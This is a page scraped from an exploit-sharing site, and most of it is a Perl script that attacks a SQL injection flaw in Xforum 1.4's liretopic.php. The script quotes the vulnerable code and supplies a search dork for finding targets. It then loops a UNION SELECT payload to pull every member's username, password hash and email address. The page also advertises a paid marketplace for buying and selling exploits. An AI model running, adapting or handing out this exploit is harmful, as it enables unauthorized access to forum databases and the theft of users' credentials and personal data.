0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Xforum 1.4 (topic) Remote SQL Injection Exploit
=============================================== Xforum 1.4 (topic) Remote SQL Injection Exploit =============================================== #!/usr/bin/perl ####################################################### # # Xforum 1.4 Remote SQL Injection # desc: Un forum php/MySQL, avec gestion complete des membres et des messages # download: http://www.comscripts.com/scripts/php.xforum.1188.html # d0rk: "xforum 1.4" # bug found by j0j0 # c0ded by j0j0 # # liretopic.php # 68. $conn = connect(); # 69. $requete = "SELECT titre,closed,place,cara FROM topic WHERE numero=".$_GET['topic']." AND categorie=".$_GET['categorie']; # 70. $res = mysql_query($requete) or die(mysql_error()); # 71. $proptopic = mysql_fetch_row($res); # ####################################################### use LWP::UserAgent; use HTTP::Request::Common; $lwp = new LWP::UserAgent; $host = $ARGV[0]; print q{ ---------------------------------------------- .: Xforum 1.4 Remote SQL Injection :. ---------------------------------------------- c0ded by: j0j0 download: http://www.comscripts.com/scripts/php.xforum.1188.html desc: Un forum php/MySQL, avec gestion complete des membres et des messages d0rk: "xforum 1.4" ---------------------------------------------- }; if(!$ARGV[0]) { print "[*] Usage: perl $0 [HOST]\n"; print "[*] Example: perl $0 http://mysite.com/forum\n"; exit(1); } print "\n[*] Connecting to $host...\n"; $i=0; while(true) { $go=$lwp->get($host."/liretopic.php?categorie=1&topic=-1/**/UNION/**/SELECT/**/CONCAT(0x21232321,pseudo,char(58),pass,char(58),mail,0x21232321),1,2,3/**/FROM/**/inscrit/**/LIMIT/**/$i,100000/**//*&nbpage=1&nbpageliste=1"); if($go->content =~ m/!##!(.*?)!##!/ms) { @res = split(/:/, $1); $res[1] = substr($res[1], 0, 32); print "\n[+] Username : $res[0]\n"; print "[+] Password : $res[1]\n"; if($res[2] =~ /(.*?)@(.*?)/) { print "[+] Mail : $res[2]\n"; } $i++; } else { if($i == 0) { print "[-] Exploit failed\n"; } exit(1); } } # 0day.today [2024-10-06] #